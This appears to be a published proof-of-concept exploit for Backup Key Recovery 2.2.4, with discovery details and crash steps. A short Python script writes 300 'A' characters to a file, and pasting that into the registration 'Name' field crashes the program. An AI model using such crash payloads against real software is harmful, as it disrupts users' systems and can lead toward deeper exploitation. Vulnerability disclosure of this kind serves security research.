#Exploit Title: Backup Key Recovery 2.2.4 - 'Name' Denial of Service (PoC)#Discovery by: Victor Mondragón#Discovery Date: 2019-04-24#Vendor Homepage: www.nsauditor.com #Software Link: http://www.nsauditor.com/downloads/backeyrecovery_setup.exe#Tested Version: 2.2.4#Tested on: Windows 7 x64 Service Pack 1#Steps to produce the crash:#1.- Run python code: Backup_key_rec_2.2.4.py#2.- Open backup.txt and copy content to clipboard#3.- Open Backup Key Recovery#4.- Select "Register"#5.- In "Name" paste Clipboard#6.- In Key type "test"#7.- Click "Ok"#8.- Crarshed
cod = "\x41"* 300
f = open('backup.txt','w')
f.write(cod)
f.close()